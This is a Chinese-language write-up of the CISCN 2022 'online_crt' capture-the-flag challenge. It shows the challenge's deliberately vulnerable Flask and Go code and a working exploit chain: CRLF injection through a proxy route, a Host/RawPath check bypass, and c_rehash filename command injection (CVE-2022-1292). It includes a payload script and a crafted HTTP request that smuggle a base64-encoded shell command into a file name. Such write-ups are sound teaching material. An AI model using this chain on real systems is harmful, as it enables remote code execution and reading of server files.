[CISCN 2022 初赛]online_crt
[CISCN 2022 初赛]online_crt
涉及漏洞分析参考文章
CVE-2022-1292的分析 - 先知社区 (aliyun.com)
附件源码
Flask路由部分
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html")
@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)
@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)
@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()
app.run(host="0.0.0.0", port=8888)
Getcrt函数源码
def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
root_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
x509.NameAttribute(NameOID.LOCALITY_NAME, City),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
])
root_cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
root_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=3650)
).sign(root_key, hashes.SHA256(), default_backend())
crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
with open(crt_name, "wb") as f:
f.write(root_cert.public_bytes(serialization.Encoding.PEM))
return crt_name
Go Server源码
package main
import (
"github.com/gin-gonic/gin"
"os"
"strings"
)
func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}
func index(c *gin.Context) {
c.String(200, "hello world")
}
func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)
if err := router.Run(":8887"); err != nil {
panic(err)
}
}
源码分析思路
大概就是通过访问 /getcrt
路由会去调用getcrt()
, 而getcrt()
会去生成一个crt证书
,createlink
路由调用c_rehash
,而c_rehash
存在命令执行漏洞,漏洞的成因大概为文件名可控,由于低版本openssl对于元字符的过滤不严谨,导致文件名中含有 " ` "字符的话会导致文件名被当作命令执行。而访问路由proxy时候,用户可以自定义HTTP请求,从而导致CLRF结合CVE-2022-1292导致RCE。
Go源码中出现了有过滤函数
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
Bypass方法
将请求的 uri
参数第二个反斜杠进行URL编码,第二个要求 Host: admin
然后需要将内容写入文件中,直接去访问/static/crt/下的对应文件即可
数据包构造
uri内容编码 由于flask最后有段代码 return data.decode()
import urllib.parse
uri = '''/admin%2frename?oldname=9c022d27-7635-4ca3-ac5e-1b3eb6e79d18.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
'''
gopher = uri.replace("\n","\r\n")
payload = urllib.parse.quote(gopher)
print(payload)
GET /proxy HTTP/1.1
Host: 1.14.71.254:28192
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 206
uri=/admin%252frename%3Foldname%3D9c022d27-7635-4ca3-ac5e-1b3eb6e79d18.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0A
最后访问createlink
触发代码
/static/crt/flag.txt
查看flag.txt